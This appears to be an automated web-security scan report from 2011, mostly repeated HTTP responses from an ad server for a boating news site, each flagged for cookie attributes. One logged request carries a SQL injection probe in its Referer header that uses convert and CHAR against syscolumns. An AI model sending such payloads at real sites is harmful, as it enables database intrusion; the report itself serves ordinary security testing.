HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:58:42 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4865 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/2056801422/Middle ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:56:18 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4265 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1849024089/Middle ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 03:01:06 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4804 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1834529841/Middle ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:56:38 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4509 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/282345760/Middle/ ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:53:39 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4534 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/748549693/Middle/ ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:53:46 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4267 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1004567232/Middle ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:55:56 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4501 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1557770911/Middle ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:59:16 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4554 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1560517319/Middle ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 03:01:25 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4267 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1023533412/Middle ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 03:01:47 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4572 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/154303626/Middle/ ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /RealMedia/ads/adstream_mjx.ads/www.soundingsonline.com/index.php/1682116568@Top,Middle,Right,Right1,x01,x02,x03,x04? HTTP/1.1 Accept: */* Referer: http://www.soundingsonline.com/index.php?option=com_content&view=category&layout=blog&id='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B'&Itemid=111 Accept-Language: en-US User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0) Accept-Encoding: gzip, deflate Host: oasc05139.247realmedia.com Proxy-Connection: Keep-Alive
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:33:04 GMT Server: Apache/2.2.3 (Red Hat) Set-Cookie: OAX=rcHW800+NmAABp5o; expires=Thu, 31-Dec-2020 23:59:59 GMT; path=/; domain=.247realmedia.com P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4263 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1806063784/Middle ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:59:11 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4511 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/108361261/Middle/ ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 03:01:54 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4572 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/2114966338/Middle ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:53:35 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4573 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1171614213/Middle ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:59:06 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4326 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1627003568/Middle ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:53:13 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4860 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/238822780/Middle/ ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:58:51 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4565 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/534073732/Middle/ ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 03:00:35 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4267 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/11037586/Middle/D ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:59:03 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4614 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/747020510/Middle/ ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:58:19 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4565 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/441611668/Middle/ ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:52:56 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4800 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1276661447/Middle ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:53:52 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4328 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/276208829/Middle/ ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:59:10 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4865 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/969651754/Middle/ ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 03:01:55 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4536 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/215617663/Middle/ ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:53:33 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4267 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/244718376/Middle/ ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:59:24 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4573 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1360676709/Middle ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 03:00:06 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4803 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1946293802/Middle ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:59:17 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4259 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/91369350/Middle/D ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:53:19 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4575 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1841533540/Middle ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:56:52 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4864 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/957722198/Middle/ ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 03:01:13 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4267 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1018018031/Middle ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 03:01:38 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4569 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1919132365/Middle ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:59:20 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4570 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/2027813664/Middle ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:59:15 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4328 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1325970382/Middle ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:53:03 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4326 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/574701930/Middle/ ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:59:16 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4574 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1676958441/Middle ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:55:48 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4564 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/67159038/Middle/D ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:59:12 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4513 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/815723633/Middle/ ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:56:26 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4513 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1379732218/Middle ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:53:39 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4620 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1664822342/Middle ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 03:00:12 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4326 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/156765544/Middle/ ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:53:35 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4267 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1645991668/Middle ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:54:34 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4830 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
